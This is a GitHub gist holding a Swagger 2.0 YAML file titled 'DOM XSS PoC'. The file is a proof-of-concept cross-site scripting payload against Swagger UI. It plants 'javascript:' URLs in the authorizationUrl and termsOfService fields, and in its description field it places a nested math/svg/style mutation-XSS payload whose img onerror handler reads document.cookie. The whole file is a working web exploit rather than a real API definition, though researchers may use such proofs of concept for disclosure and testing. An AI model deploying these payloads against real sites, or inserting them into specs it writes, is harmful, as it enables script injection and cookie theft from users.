Skip to content

Instantly share code, notes, and snippets.

@zenelite123
Created January 13, 2023 15:17
Show Gist options
  • Save zenelite123/72274842b61e6abdc0c6a7e4edb62b6f to your computer and use it in GitHub Desktop.
Save zenelite123/72274842b61e6abdc0c6a7e4edb62b6f to your computer and use it in GitHub Desktop.
swagger: '2.0'
securityDefinitions:
a:
type: oauth2
authorizationUrl: javascript:alert(document.domain)//
info:
version: "0.0.1"
title: DOM XSS PoC
description: '<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(document.cookie) src>">'
termsOfService: "javascript:alert(document.cookie)"
paths:
/:
get:
responses:
200:
description: Echo GET
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment